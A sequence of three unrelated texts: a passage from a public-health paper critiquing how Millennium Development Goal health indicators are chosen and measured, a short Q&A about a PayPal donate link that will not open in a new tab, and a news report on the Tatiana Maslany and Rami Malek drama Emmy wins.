mortality based on estimated seroprevalence in other countries0%0%67%8%Predicted18b. HIV prevalence rate, aged 15--49, percentageHealth outcomeHighAntenatal clinic (ANC) serosurveillance in sentinel sites, household serosurveys. ANC sero-surveillance appears to overestimate population prevalence0%0%78%9%Corrected and predicted18c. HIV/AIDS prevalence rate for pregnant women 15--24 attending antenatal care in clinics in capital city[\*](#tbl1fn1){ref-type="table-fn"}Health outcomeLow; represents only a partial fraction of national prevalence, 18b is the true quantity of interestCapital city ANC serosurveillance, because of variability in representativeness of sentinel clinics and demographic significance of capital city, comparability limited0%5%5%29%Crude18d. HIV/AIDS prevalence rates, men, estimated from national population surveysHealth outcomeInput to accurate measurement of 18bHousehold serosurveys0%0%3%0%Corrected18e. HIV/AIDS prevalence rates, women, estimated from national population surveysHealth outcomeInput to accurate measurement of 18bHousehold serosurveys0%0%3%0%Corrected19. Condom use to overall contraceptive use among currently married women aged 15--49 years[\*](#tbl1fn1){ref-type="table-fn"}Intervention coverageLow; not a good measure of condom use in high-risk sexual intercourseHousehold surveys6%29%4%8%Corrected19a. Condom use, men, aged 15--24 years at last high-risk sex[\*](#tbl1fn1){ref-type="table-fn"}Intervention coverageMedium; condom use for any age-group for high-risk sex would be the quantity of interestHousehold surveys but validity of reported rates of high-risk sex not established0%6%3%1%Corrected19b. Condom use, women, aged 15--24 years at last high-risk sex[\*](#tbl1fn1){ref-type="table-fn"}Intervention coverageCorrelation coefficient with 19a in 2000 is 0·85Household surveys but validity of reported rates of high-risk sex not established0%7%3%1%Corrected19c. HIV knowledge, men aged 15--24 years who know that a healthy-looking person can transmit HIVIntervention coverageLow; small component of 19eHousehold surveys0%7%0%27%Corrected19d. HIV knowledge, men aged 15--24 years who know that a person can protect himself from HIV infection by consistent condom useIntervention coverageLow; small component of 19eHousehold surveys0%4%0%1%Corrected19e. HIV knowledge, men aged 15--24 years with comprehensive correct knowledge of HIV/AIDS, percentage[\*](#tbl1fn1){ref-type="table-fn"}Intervention coverageLow; poorly established link and partial relationship to unsafe sexual practicesHousehold surveys0%5%3%1%Corrected19f. HIV knowledge, women aged 15--24 years who know that a healthy-looking person can transmit HIVIntervention coverageLow; small component of 19eHousehold surveys0%32%0%3%Corrected19g. HIV knowledge, women aged 15--24 years who know that a person can protect himself from HIV infection by consistent condom useIntervention coverageLow; small component of 19eHousehold surveys0%37%0%3%Corrected19h. HIV knowledge, women aged 15--24 years with comprehensive correct knowledge of HIV/AIDS, percentage[\*](#tbl1fn1){ref-type="table-fn"}Intervention coverageLow; poorly established link and partial relationship to unsafe sexual practicesHousehold surveys0%27%3%2%Corrected19i. Contraceptive use among currently married women aged 15--49 years, any method, percentage[\*](#tbl1fn1){ref-type="table-fn"}Intervention coverageLow; unclear relationship to preventing HIV transmissionHousehold surveys6%29%5%8%Corrected19j. Contraceptive use among currently married women aged 15--49 years, condom, percentageIntervention coverageLow; less relationship to transmission potential than 19a or 19bHousehold surveys7%29%4%8%Corrected19k. Contraceptive use among currently married women aged 15--49 years, modern methods, percentageIntervention coverageLow; weak relationship to decreasing HIV transmissionHousehold surveys5%29%4%8%Corrected20. Ratio of school attendance of orphans to school attendance of non-orphans aged 10--14 years20a. AIDS orphans (one or both parents), currently livingNon-health outcomeLow for public health but could be important for HIV related social policyModelled relationships based on estimated HIV seroprevalence and mortality0%0%25%3%Predicted20b. Orphans (both parents) aged 10--14 school attendance rate as % of non-orphans attendance rate, where HIV is \>1%[\*](#tbl1fn1){ref-type="table-fn"}Non-health outcomeLow; not HIV specific, in nearly all countries result is 100%Household surveys0%27%3%3%Corrected21. Prevalence and death rates associated with malaria21a. Malaria death rate per 100 000, ages 0--4 years[\*](#tbl1fn1){ref-type="table-fn"}Health outcomeHighVital registration in countries with complete systems; in nearly all endemic countries, based on verbal autopsy data for demographic surveillance sites, or epidemiological models0%100%0%6%Predicted21b. Malaria death rate per 100 000, all ages[\*](#tbl1fn1){ref-type="table-fn"}Health outcomeLow; death rates over the age 0--4 are very lowVital registration in countries with complete systems; in nearly all endemic countries, based on verbal autopsy data for demographic surveillance sites, or epidemiological models0%100%0%6%Predicted21c. Malaria prevalence, notified cases per 100 000 population[\*](#tbl1fn1){ref-type="table-fn"}Health outcomeLow; notified cases are not a measure of prevalenceAdministrative data collected at public facilities0%55%0%4%Crude22. Proportion of population in malaria-risk areas using effective malaria prevention and treatment measures22a. Malaria prevention, use of insecticide-treated bed nets in population \<5, percentage[\*](#tbl1fn1){ref-type="table-fn"}Intervention coverageHighHousehold surveys0%18%3%2%Corrected22b. Malaria treatment, percentage of population \<5 with fever being treated with antimalarial drugs[\*](#tbl1fn1){ref-type="table-fn"}Intervention coverageModerate; resistance makes 'effective antimalarial drugs' better indicatorHousehold surveys, validity not established.0%18%4%2%Corrected23. Prevalence and death rates associated with tuberculosis23a. Tuberculosis death rate per 100 000[\*](#tbl1fn1){ref-type="table-fn"}Health outcomeHighVital registration in countries with complete vital registration, models for all other countries98%98%98%31%Predicted23b. Tuberculosis prevalence rate per 100 000 population[\*](#tbl1fn1){ref-type="table-fn"}Health outcomeHighNo measurement strategy; modelled estimates based on case-notifications98%98%98%31%Predicted24. Proportion of tuberculosis cases detected and cured under directly observed treatment success (DOTS)24a. Tuberculosis, DOTS detection rate, percentage[\*](#tbl1fn1){ref-type="table-fn"}Intervention coverageHighHealth service provider registries for detected cases, no measurement strategy for denominator0%63%95%40%Predicted24b. Tuberculosis, DOTS treatment success, percentage[\*](#tbl1fn1){ref-type="table-fn"}Intervention coverageHighHealth service registries0%76%92%42%Corrected25. Proportion of population using solid fuels[\*](#tbl1fn1){ref-type="table-fn"}Risk factorModerate; real quantity of interest is indoor air pollutionHousehold surveys1%6%61%6%Predicted30. Proportion of population with sustainable access to an improved water source, urban and rural30a. Water, percentage of population with access to improved drinking water sources, rural[\*](#tbl1fn1){ref-type="table-fn"}Risk factorModerate; not clear that separate urban and rural indicators necessaryHousehold surveys: some issues in the consistent definition of "improved"7%0%0%11%Predicted30b. Water, percentage of population with access to improved drinking water sources, totalRisk factorHighHousehold surveys: some issues in the consistent definition of "improved"71%0%0%11%Predicted30c. Water, percentage of population with access to improved drinking water sources, urban[\*](#tbl1fn1){ref-type="table-fn"}Risk factorModerate; correlation with rural in 2002 is 0·69Household surveys: some issues in the consistent definition of "improved"84%0%0%12%Predicted31. Proportion of population with access to improved sanitation, urban and rural31a. Sanitation, percentage of population with access to improved sanitation, rural[\*](#tbl1fn1){ref-type="table-fn"}Risk factorModerate; not clear that separate urban and rural indicators necessaryHousehold surveys72%0%0%11%Predicted31b. Sanitation, percentage of population with access to improved sanitation, totalRisk factorHighHousehold surveys67%0%0%10%Predicted31c. Sanitation, percentage of population with access to improved sanitation, urban[\*](#tbl1fn1){ref-type="table-fn"}Risk factorModerate; not clear that separate urban and rural indicators necessaryHousehold surveys76%0%0%11%Predicted46. Proportion of population with access to affordable essential drugs on a sustainable basis[\*](#tbl1fn1){ref-type="table-fn"}Intervention coverageHighNo measurement strategy0%0%0%0%No dataAll official MDG indicators combined30%44%29%15%[^1]
How well does the indicator measure the quantity of interest? {#cesec40}
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Since indicators can drive policy attention, resources, and implementation, every effort should be made to measure or at least estimate the real quantity of interest. For health-outcome indicators, does the proposed indicator measure the actual health outcome, a component of the outcome, or a proxy that is believed to be correlated to health outcome? In [table 1](#tbl1){ref-type="table"}, indicator 18c "HIV/AIDS prevalence rate for pregnant women 15--24 attending antenatal care in clinics in capital city", could be an important measure for the local HIV programme in the capital city, but this indicator is a poor measure of the real quantity of interest in the MDG framework---ie, national prevalence. Use of partial or proxy measures runs the danger that they slowly become the de facto quantity of interest in policy debates, distracting attention from the original objective of a policy or programme. Even when an indirect or proxy measure is the only option, mapping from the units of that measure into units of the quantity of interest is preferable---eg, ratios of children surviving to children ever born mapped into child mortality.
For intervention coverage indicators, the ideal is to measure the proportion of potential health gain that is delivered for a specific health problem.[@bib13] The target for MDG4 is to reduce child mortality; the ideal intervention coverage would measure the proportion of child mortality reduction that could be achieved through the whole collection of affordable interventions that are delivered. Compared with this standard, measurement of only one intervention, measles immunisation in the MDGs, is capturing less than 5% of what can be delivered. If only one intervention is to be measured, preference should be given to the intervention that would have the biggest effect on the outcome if delivered. Because intervention coverage indicators have the potential to drive managerial attention and resource allocation, claims that part indicators such as measles immunisation are good proxies for the rest of child survival interventions are unproven. The potential for indicator-driven policy also argues for the use of composites capturing the coverage of a set of interventions targeting a health problem.
Is the indicator value readily interpretable? {#cesec50}
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There should be a monotonic relation between the value of the indicator and what is desired (all other things being equal). The child death rate is a monotonic indicator; lower rates are always better than are higher ones. However, the caesarean section rate is not a monotonic indicator. Too low and too high rates are equally bad, and there is no consensus on the optimum rate.
Is there a practical measurement strategy? {#cesec60}
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An indicator should not be a priority unless a measurement strategy that will produce valid, reliable, timely, and comparable measurements has been developed. This tenet does not mean that a measurement strategy has been implemented, otherwise, we would be trapped measuring only what has already been measured. Rather, it means that a plan has been developed. Although validity and reliability are familiar notions, comparability and timeliness have often not received adequate attention in the development of measurement strategies. Comparability is crucial---why measure an indicator over time and across countries if the measurements cannot be compared? Murray and colleagues[@bib14] emphasise the difference between validity and comparability by noting that two thermometers, one in Celsius and one in Fahrenheit, can both be valid and reliable but 26 degrees on each is not comparable.
Unfortunately only nine of the 16 high-importance MDG indicators have a reasonably well developed measurement strategy that will yield valid, reliable, and comparable measurements. [Table 1](#tbl1){ref-type="table"} also emphasises that data availability overall for these health-related indicators is extremely poor, ranging from 0% for access to essential drugs to 100% for tuberculosis rate, although tuberculosis rate is almost entirely predicted from a model. For the health-related MDG indicators, overall availability of any type of statistics is 15% for 1990--2005. The 15% figure refers only to developing countries for all of the health-related MDG indicators. Full analysis of existing data sources in countries would probably expand this availability, but existing data are often not fully used within countries or for worldwide comparative studies.
How should equity dimensions of an indicator be captured? {#cesec70}
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Gwatkin[@bib15] has argued that average levels for an indicator can mask widening inequalities. To measure inequalities over time, disaggregation is necessary. Ideally, the total inequality of a health indicator across the population could be measured.[@bib16] Total inequality can be thought of as between-group inequality plus within-group inequality.[@bib17] For many indicators, however, only between-group inequality can be readily measured. The choice of groups for indicator disaggregation, such as rich and poor, urban and rural, occupation, race, or ethnic origin could profoundly change the comparisons of inequality across populations or over time. The disaggregation of an indicator that is proposed for monitoring inequalities should accord with evidence that this disaggregation captures the largest fraction of variance in the indicator across the populations being analysed.
Correct use of crude, corrected, or predicted statistics {#cesec80}
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Boerma and colleagues[@bib7] have discussed the platform for primary data collection that provides the basis for all health statistics: essential registration systems, sample or sentinel registration systems, household surveys, censuses, budgets, and data collected by health-service providers. Primary data collection is only the first step in the generation of valid, reliable, and comparable statistics. The subsequent steps such as correcting for known biases or predicting out of sample or out of time can generate many different measurements. Health statistics can be divided into three types: crude, corrected, and predicted.
Crude health statistics {#cesec90}
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Crude health statistics are the measurements of indicators that come directly from primary data collection with no adjustments or corrections. These figures are subject to many drawbacks, including incomplete ascertainment, non-representativeness, instrument bias, misclassification, and distortion. Incomplete ascertainment or incomplete coverage is a crucial difficulty for vital registration systems and data from health-service providers.[@bib18] Poor people and other disadvantaged groups often have the greatest health problems and do not get captured in these systems. For household surveys or other sampled data, non-representativeness can be a profound difficulty. For example, monitoring of HIV seroprevalence in antenatal clinics is often undertaken in clinics with known high prevalence.[@bib19] For many measurements and self-reported items on surveys, the instrument itself can be biased---eg, self-reported weights are systematically under-reported by women.[@bib20] Where events need to be classified into categories such as deaths according to the international classification of diseases and injuries, misclassification or inconsistent classification is a common drawback.[@bib21], [@bib22], [@bib23] Finally, where the stakes are high, producers of data might intentionally, or be encouraged to, distort data.
Despite their restrictions, crude health statistics are proposed and used for monitoring. [Figure 1](#fig1){ref-type="fig"} shows the MDG indicator malaria prevalence (notified cases per 100 000) plotted against the prevalence of malaria parasites in blood as systematically reviewed by the MARA (Mapping Malaria Risk in Africa) project for sub-Saharan Africa.[@bib24] Although the prevalence of clinical cases of malaria would not necessarily be perfectly correlated with parasitaemia, the absence of any relation even on log scale suggests that because of variations in ascertainment this MDG indicator cannot be used for any interpretation. In some cases, such as complete vital registration systems, crude statistics can be unbiased and appropriate for analytical use. Since bias in crude statistics is expected, the burden of proof should be to show that crude data are in fact unbiased before they are used for comparative purposes.Figure 1MDG indicator malaria prevalence versus average parasite seroprevalence from MARA systematic review for selected sub-Saharan African countries
Corrected health statistics {#cesec100}
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Corrected health statistics are measurements of indicators for which two types of analytical effort might have been undertaken: mapping to the quantity of interest and correction for a range of known biases. Mapping into the quantity of interest includes all the measurements where the primary data collected are on an indirect result of the event under study. For example, census or survey data on the responses of mothers regarding the number of children they have ever borne and the number that are alive are used in many countries to calculate mortality in children younger than 5 years. This mapping is based on certain assumptions and models;[@bib25], [@bib26] mapping into the quantity of interest introduces uncertainty because of parameter uncertainty, residual unexplained variance, and model choice.
Correction for known bias ranges from routine procedures such as use of sample weights in household survey analysis to more complex procedures that could include analytical models. Demographers use methods[@bib27] to estimate the incompleteness of vital registration data and then apply these to obtain corrected mortality rates. Less formal or structured methods are routinely used to correct HIV seroprevalence data in antenatal clinics to generate national estimates to address non-representativeness.[@bib28] Correction for known bias is very important if valid, reliable, and comparable health statistics are to be generated; however, substantial scope for legitimate disagreement between analysts can be introduced. Often the details of efforts to correct for known bias are not in the public domain, which has stifled open debate on the best approaches to do such corrections. Corrections for known bias could in fact introduce more error into health statistics; therefore, open debate should be encouraged.
The most technical approach to correcting for known bias is to systematically review and use all available primary data and attempt to reconcile differences between data sources.[@bib29], [@bib30], [@bib31] Systematic review and data reconciliation should not be confused with more qualitative triangulation.[@bib32] [Figure 2](#fig2){ref-type="fig"} provides another example of this approach by summarising all the available data on child mortality in Ghana and the corrected figures based on these data.[@bib27], [@bib33] An additional example of this approach is the work to develop internally consistent figures for incidence, prevalence, and death in the global burden of disease project.[@bib34], [@bib35] Software such as DISMOD II is used to identify inconsistencies between different data sources, which the analyst must then reconcile. The advantage of systematic reviews and data reconciliation is that all relevant information is used to correct for known bias. The disadvantage is that they can require substantially more analytical work.Figure 2All available empirical estimates of mortality rates for children younger than 5 years for Ghana and best estimatesCENi=1971 Census, indirect. DHSd93=1993 Demographic and Health Survey, direct. DHSi93=1993 Demographic and Health Survey, indirect. DHSd98=1998 Demographic and Health Survey, direct. DHSi98=1998 Demographic and Health Survey, indirect. DHSd03=2003 Demographic and Health Survey, direct. DHSi03=2003 Demographic and Health Survey, indirect. GDHSd88=1988 Ghana Demographic and Health Survey, direct. GDHSi88=1988 Ghana Demographic and Health Survey, indirect. GFSd80=1980 Ghana Fertility Survey, direct. GFSi80=1980 Ghana Fertility Survey, indirect.
Predicted health statistics {#cesec110}
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Predicted statistics are based on a model relating the quantity of interest to covariates. Two types of predicted statistics are widely used. The first is forecasting, whereby a relation is established during a period of observation and then used to predict out of time into the future. A common use of forecasting is to update corrected statistics to a more recent period to produce series of comparable statistics for a base year, such as the MDG indicator data on maternal mortality ratio in 2000, or many statistics in the MDG database for indoor air pollution, water supply, or tuberculosis prevalence. Predictions are also frequently used to generate figures in settings where no primary data and thus no corrected statistics are available. Since the methods are identical to those for forecasting, prediction out of sample but in the same time period has been termed farcasting. An example of farcasting is MDG estimates of solid fuel use that have been based for many countries on models relating solid fuel use to GDP per capita in those countries with data. Predicted statistics have uncertainty resulting from model choice and parameter and unexplained variance in the model.
[Figure 3](#fig3){ref-type="fig"} provides trends for maternal mortality from 1990 to 2000 for Afghanistan, Angola, Pakistan, Nigeria, South Africa, Burundi, and Algeria. These trends are not based on any empirical measurements and are strictly from predictive models. Nevertheless, the trends are different and show striking fluctuations. In Pakistan, the maternal mortality ratio is predicted to be increasing, although in Nigeria the ratio is predicted to be declining. Since these trends are not based on any real findings, to infer different amounts of progress on this MDG target would be completely without basis. The MDG database does not provide uncertainty for the trends in this indicator or other predicted indicators.Figure 3Trends in maternal mortality based strictly on predicted statistics for seven countries
There is a grey zone where the corrections to primary data are substantial enough that they can become difficult to distinguish from predicted statistics. In a Bayesian context, predictions provide priors and the primary data with correction allow these priors to be updated. There are, however, cases where the recorded data give little information beyond the prior.
When to use what {#cesec120}
----------------
Health statistics are necessary inputs to planning and strategic decision making, programme implementation, monitoring progress towards targets, and assessment of what works and what does not. Crude statistics that are biased have no role in any of these steps. They are, however, an important input to research and are the basis for corrected statistics with greater validity, reliability, and comparability. There is no cogent reason why crude statistics with known biases should be used when corrected statistics are available or can be developed. Nevertheless, several agencies report crude statistics. For example, the US Centers for Disease Control and Prevention report on levels of obesity by state with self-reported weights and heights in the behavioural risk factor surveillance system survey, which are known to underestimate obesity by roughly 50%.[@bib20] By reporting crude statistics, the onus for correction of known bias to allow for interpretation is shifted to the user. Although this approach makes the task easier for the data generator, it is predicated on a strange premise: the users, including policymakers and the concerned public, are in a better position to adjust for known bias than is the health statistician. In fact, the failure to correct for known bias underlies some of the most egregious examples of health statistics.
Publication of government data in WHO\'s communicable disease global atlas[@bib36] on notified cases and deaths for rabies, cholera, sexually transmitted infections, and malaria are notable examples of the promotion of crude statistics. WHO claims that the atlas "is bringing together for analysis and comparison standardized data and statistics for infectious diseases at country, regional, and global levels".[@bib36] The style of presentation with maps encourages cross-country comparisons, but simple inspection shows that because of ascertainment bias, misclassification, and non-representativeness, the numbers are not valid, reliable, or comparable---eg, those for rabies for Iran and Pakistan differ by two orders of magnitude.
Political arguments, such as the importance of respecting national sovereignty, are often given to explain the use of crude figures. But political pedigree is not a legitimate argument to favour one statistic over another. Frequently governments do have the best primary data and corrected statistics, but the preference for data from the government must be based on the merits of the data, not the politics. The importance of distinguishing political pedigree from substantive arguments about the reliability, validity, and comparability of health statistics is just as true nationally, when geographic subunits are being compared, as it is worldwide.
For forward-looking decision making, advocacy for funds, planning, strategic decisions, research, and development investments, people who make decisions need the best available information. We cannot argue that we should allocate no resources to an area of need because good primary data and corrected statistics are not available. For these decisions, when corrected statistics are not available, predicted statistics can play an important part. The publication of the world population prospects every 2 years by the UN Population Division[@bib37] is a good example of the use of predicted statistics. This publication provides population, mortality, and fertility statistics for all countries from 1950 to 2050. For some countries, much of the trend from 1950 up to now is based on corrected statistics, but for many countries much or all of the sequence is based on predictions. Because the world population prospects is revised every 2 years, the entire set of figures from 1950 to 2050 is revised when new data become available. Even though much of the sequence is based on predictions, these basic demographic figures are crucial for various planning and strategic decisions.
For monitoring progress towards agreed targets and assessment of what is effective and what is not, the case for using predicted statistics is unconvincing. Nationally or locally, the reason for monitoring is to find out whether present policies and programmes are leading us in the right direction or to identify when unexpected factors are changing trends. If data for monitoring are predicted and the prediction model explains much of the observed variance, the predicted statistics can correctly identify the true trend in many cases. However, the prediction is not sensitive to the actual policies and programmes that have been pursued. That statistics used for monitoring have zero probability of detecting an unexpected trend does not seem right. Imagine enrolling your child in a school, which then hands you the results of your child\'s examination scores for the end of the year on the first day of attendance. These results have been forecast by a very good model and might be right most of the time. However, the grades or assessment are not affected in any way by what your child does during the year.
A test for the use of statistics for monitoring and assessment should be that the statistics in question have a reasonable probability of detecting real changes in the quantity of interest. This concern is great when we intend to assess what works and what does not; here predicted statistics should have no role. Because predicted statistics have a zero probability of detecting changes from an abrupt adjustment in policy, they should not be used for this type of monitoring and assessment.
Predicted statistics, however, have been substantially used in monitoring. For example, 20 of the health-related MDG indicators in [table 1](#tbl1){ref-type="table"} use some predicted statistics. The World Health Report in 2000 for health system performance used predicted statistics extensively.[@bib38] Two types of argument have been made to support the use of predicted statistics for monitoring. First, several countries in greatest need will have little or no data to report, and if no statistics are reported the topic will lose policy attention. Second, worldwide advocacy needs information on global monitoring. Although the use of predicted statistics to bring attention to a difficulty seems warranted both nationally and internationally, the temptation to use such information once produced for actual monitoring and even assessment is very great. I believe that if predicted statistics are to be used in such cases, the user must make it very clear that predicted statistics are being used and this use should not become a routine activity. Therefore, publication of databases of annual predicted figures, such as for some MDG indicators, does not seem justified. Reported indicator series should, at an absolute minimum, indicate whether figures are based on crude, corrected, or predicted values. Regional or worldwide aggregates are often based on mixtures of crude, corrected, and predicted data, and the relative proportion of the component national figure based on these three types should be shown to the user.
The need for explicit data audit trails {#cesec130}
=======================================
Perhaps the most effective method by which to decrease controversy over health statistics and to encourage better primary data collection and development of better analytical methods is a strong commitment to provision of an explicit data audit trail. This method would make primary data, all post-data collection adjustments, models including covariates used for farcasting and forecasting, and necessary documentation available to the public. An explicit data audit trail would allow health statistics to be subject to the scientific principle of replication. A sceptical user should be able to reproduce every figure including all steps along the way. Decision makers, the media, or the public are unlikely to use the explicit data audit trail, but the requirement to publish this trail will over time lead to improved practice. The expectation that peers in the technical community will be able to critique methods, suggest other data sources, and even generate alternative figures will provide a powerful incentive for improved measurement.
Few in the international community are opposed to the idea of an explicit data audit trail. There are three difficulties, however, that have restricted the adoption of this approach. First, documentation of all adjustments for known bias and the use of farcasting and forecasting models is time-consuming and expensive. Second, transparency about how some estimates are generated can increase debate about the validity of figures in the short term, which is a concern for some programme managers. Third, the component of the explicit data audit trail that calls for primary data to be accessible to the public or at least to interested analysts might conflict with national privacy laws governing data collection, which is a very important issue. In some countries such as the USA, data are becoming harder to obtain. For example, the National Center for Health Statistics (NCHS) has stopped releasing mortality data for counties because of privacy concerns.
Increasing concerns about privacy are in direct conflict with another international trend towards more countries adopting freedom of information laws. In 2002, Mexico passed a sweeping freedom of information act and set up a Federal Institute for Access to Public Information about Mexico, which guarantees unprecedented access to any information held by the government.[@bib39] In India, the Right to Information Act of 2005, seems to provide similar access to information.[@bib40] Various other countries are pursuing similar legislation.[@bib41], [@bib42] Balancing privacy concerns with the need for information to be in the public domain to create a culture of transparency will be a major challenge in the coming decades. Once individual identifiers such as names and addresses have been removed from survey, census, or vital registration data, privacy concerns revolve around the possibility that, with some investigation, individuals could be identified.[@bib43] For example, perhaps only one 84-year-old woman died in Omaha county, USA, so that the analyst could with further investigation find the name of this individual and what she died of. Such a hypothetical possibility must be balanced against the damage to the community by suppression of health information that could improve population health. In the case of death data in the USA, the NCHS position is hard to understand since death certificates for all individuals including names are public records that can be obtained in every state.
Clearly, there are important legitimate concerns about data privacy. However, in some cases arguments about data confidentiality are used by institutions to avoid the release of data to other groups. Datasets are often viewed by researchers or organisations as private possessions. Data, of course, are a classic example of a general public good. There is a potential cost that could ultimately be counted in human health of keeping data from the public domain. The principle of an explicit data audit trail and replicability might also be preserved if mechanisms exist to allow restricted access to various datasets with stronger safeguards. Journals such as *The Lancet*, funding agencies, and governments all have an important part to play in transformation of the culture of data from a feudal to an open democratic model. Any efforts that move towards an explicit data audit trail should be encouraged, including intermediate steps such as provision of detailed information on primary data sources and types of adjustments that have been undertaken.
Conclusion {#cesec140}
==========
Several good practice recommendations for health indicators and their measurement follow from this discussion. These recommendations could lead over time to a more focused effort on production of valid, reliable, and comparable information to serve many information needs.
National and worldwide efforts to improve health statistics should focus on a smaller set of priority indicators rather than the thousands that are currently recommended. Priority health indicators should be selected on the basis of public-health importance and the existence of a pragmatic measurement strategy. I believe that focusing attention within and across countries on a restricted set of priority indicators will help show how measurement can foster health improvement. Analyses based on these priority indicators can foster demand from decision makers, the media, civil society, the technical community, and the public for better health measurement. Efforts to strengthen platforms for primary data collection driven by this demand are more likely to gain broad support than are calls for strengthening these platforms that are not linked to specific analytical uses.
The measurement strategy should be designed to produce valid, reliable, and comparable information. If the results of measurement are not comparable over time and across places, they will not be useful for monitoring or assessment. Comparability has not been given sufficient attention in the development of measurement strategies. Furthermore, every effort should be made to produce statistics for the true quantity of interest instead of proxies. Proxy indicators should be mapped into the quantity of interest and the uncertainty in that mapping quantified.
Crude statistics from primary data collection platforms should be reported as a resource for the analysis and research community, but should be clearly distinguished from corrected statistics for interpretive purposes. The most detailed information possible, including metadata and wherever possible microdata, should be in the public domain.
Statistics used for monitoring and assessment should always be corrected for known biases, and the basis for these corrections should be in the public domain. Predicted statistics should in general not be used for actual monitoring of national or local progress, and should never be used for assessing what works and what does not. Predicted statistics have an important and useful role in helping to inform planning, strategic decision making, and research and development prioritisation when corrected statistics are unavailable. Whenever predicted statistics are used, however, efforts should be made to adequately characterise the uncertainty in the predictions from all sources so that they are interpreted with caution.
All statistics produced for all purposes should have a well documented, explicit data audit trail, which allows a sceptical scientist to entirely replicate the generation of the corrected or predicted statistics. Due attention should be given to protection of public interest in transparency and accountability that derives from having data in the public domain.
The MDG health-related indicators have been used to draw attention to many of the points in this paper. Overall, the set of indicators, the measurement strategies, and the implementation of the MDG health-related indicators is very poor. At least half the indicators are not of high enough public-health importance to warrant major international attention or investments in their assessment. Data availability for developing countries overall is 15%, and even in 2000 when a special effort was made, it reached 44%. Most of these figures are predicted statistics that do not provide a reasonable basis for monitoring progress. The dilemma is that data systems and measurements are so weak that only undernutrition, child mortality, measles immunisation, and attended deliveries have effective measurement strategies in place. WHO, UNICEF, UNAIDS, and other agencies responsible for monitoring the MDGs rely on using predicted statistics for most other indicators so that attention on the MDGs does not fade. Predicted statistics are a reasonable approach for identification of difficulties and for stimulation of policy interest. However, the worldwide community is failing in implementation of viable measurement strategies for real monitoring.
I was former Executive Director of the Evidence and Information for Policy Cluster at the World Health Organisation. I have no conflicts of interest that may have influenced this work or the conclusions of the manuscript.
[^1]: Official MDG indicators. All others are official supplemental series.
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Q:
Why won't my link open in a new tab?
I create websites all the time, but this time I am stumped. I cannot seem to get a link to open in a new tab. Here is the specific line of code I am trying to troubleshoot:
<aside id="bnk_widget_donation-2" class="bnk-widget bnk_widget_donation">
<div class="bnk-donation clickable">
<span class="donation-icon mobile-hide"> </span>
<h3 class="replace inset">
<a href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=WQZ2PBSENFF2C" target="_blank">
Donate Now
</a>
</h3>
<p class="subhead">
support our mission
</p>
</div>
</aside>
The line number when looking at the source is line 197. The page is available here. The problem is the Donate link to PayPal that does not open in a new tab.
Any thoughts?
A:
Javascript is happening when you click on it. The HTML includes a javascript file "http://www.3e.oneofakind.ws/wp-content/themes/bhinneka/js/p2-init.js?ver=3.6" which has a click event $(".clickable, .landing-mod").
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It was more revenge for the nerds Sunday night as, one year after “Game of Thrones” took its first drama series Emmy, the night’s top drama acting prizes went to a pair of young performers — Tatiana Maslany and Rami Malek — from genre shows very much beloved by the Comic-Con crowd.
Maslany won the lead actress in a drama Emmy for “Orphan Black,” a trippy sci-fi thriller that has the 30-year-old Canadian-born actress playing multiple clones. It was her second nomination and first victory.
“I feel so lucky to be on a show that puts women at the center,” Maslany said from the stage.
Malek, 35, meanwhile, won the lead actor in a drama Emmy on his first try for the debut season of “Mr. Robot,” in which he plays Elliot, a lonely, delusional cyber-vigilante aiming to bring down the world’s biggest corporation and, in the process, eliminate debt and right income inequality.
“Please tell me you’re seeing this too,” a surprised Malek said, playing off the character’s paranoia. (Earlier, he had told E! he was practicing his losing face.)
“I’m honored to stand here and represent my family and every single person who has helped me to get this far,” Malek continued. “I’m honored to work with a pure visionary in [show runner] Sam Esmail. I wouldn’t be here without you.”
1 / 34 Louie Anderson gets ready to enter the Microsoft Theater. (Al Seib / Los Angeles Times) 2 / 34 Tituss Burgess (Al Seib / Los Angeles Times) 3 / 34 Jamie Brewer (Al Seib / Los Angeles Times) 4 / 34 Ariel Winter (Al Seib / Los Angeles Times) 5 / 34 Eric Stonestreet takes a selfie with fans. (Al Seib / Los Angeles Times) 6 / 34 Sterling K. Brown and Ryan Michelle Bathe. (Al Seib / Los Angeles Times) 7 / 34 John Singleton (Al Seib / Los Angeles Times) 8 / 34 Emily Robinson (Al Seib / Los Angeles Times) 9 / 34 Jeremy Maguire (Al Seib / Los Angeles Times) 10 / 34 Nolan Gould (Al Seib / Los Angeles Times) 11 / 34 Gaten Matarazzo, Millie Bobby Brown and Caleb McLaughlin. (Al Seib / Los Angeles Times) 12 / 34 Keegan-Michael Key and Elisa Pugliese (Al Seib / Los Angeles Times) 13 / 34 Jenifer Lewis (Al Seib / Los Angeles Times) 14 / 34 Regina King and Trevor Jackson (Al Seib / Los Angeles Times) 15 / 34 Holly Taylor (Al Seib / Los Angeles Times) 16 / 34 Emily Ratajkowski (Al Seib / Los Angeles Times) 17 / 34 (L-R) Kelly Preston, John Travolta and Rami Malek. (Al Seib / Los Angeles Times) 18 / 34 Sarah Paulson (Al Seib / Los Angeles Times) 19 / 34 Courtney B. Vance (Al Seib / Los Angeles Times) 20 / 34 Heidi Klum and Padma Lakshmi (Al Seib / Los Angeles Times) 21 / 34 Yara Shahidi (Al Seib / Los Angeles Times) 22 / 34 Viola Davis gives a wave. (Al Seib / Los Angeles Times ) 23 / 34 William H. Macy and Felicity Huffman are all smiles. (Al Seib / Los Angeles Times) 24 / 34 Jon Voight and Miles Brown of “black-ish” pose for a photo. (Al Seib / Los Angeles Times) 25 / 34 Bryan Cranston signs an autograph. (Al Seib / Los Angeles Times) 26 / 34 Sofia Vergara walks the red carpet. (Al Seib / Los Angeles Times) 27 / 34 Aziz Ansari flashes a smile. (Al Seib / Los Angeles Times) 28 / 34 Priyanka Chopra glides in a flowing gown. (Al Seib / Los Angeles Times) 29 / 34 Emilia Clarke makes her way onto the red carpet. (Al Seib / Los Angeles Times) 30 / 34 Angela Bassett arrives in a bright gown. (Al Seib / Los Angeles Times) 31 / 34 Michelle Dockery hits the red carpet. (Al Seib / Los Angeles Times) 32 / 34 Mark Burnett and Roma Downey mug for the camera. (Al Seib / Los Angeles Times) 33 / 34 Laurence Fishburne makes an entrance. (Al Seib / Los Angeles Times) 34 / 34 Hank Azaria sports the white-tie-on-white-shirt look. (Al Seib / Los Angeles Times)
Backstage, a thrilled Maslany expanded on her comments from the stage, talking about “digging deep to discover new instincts and impulses to color each of the characters.”
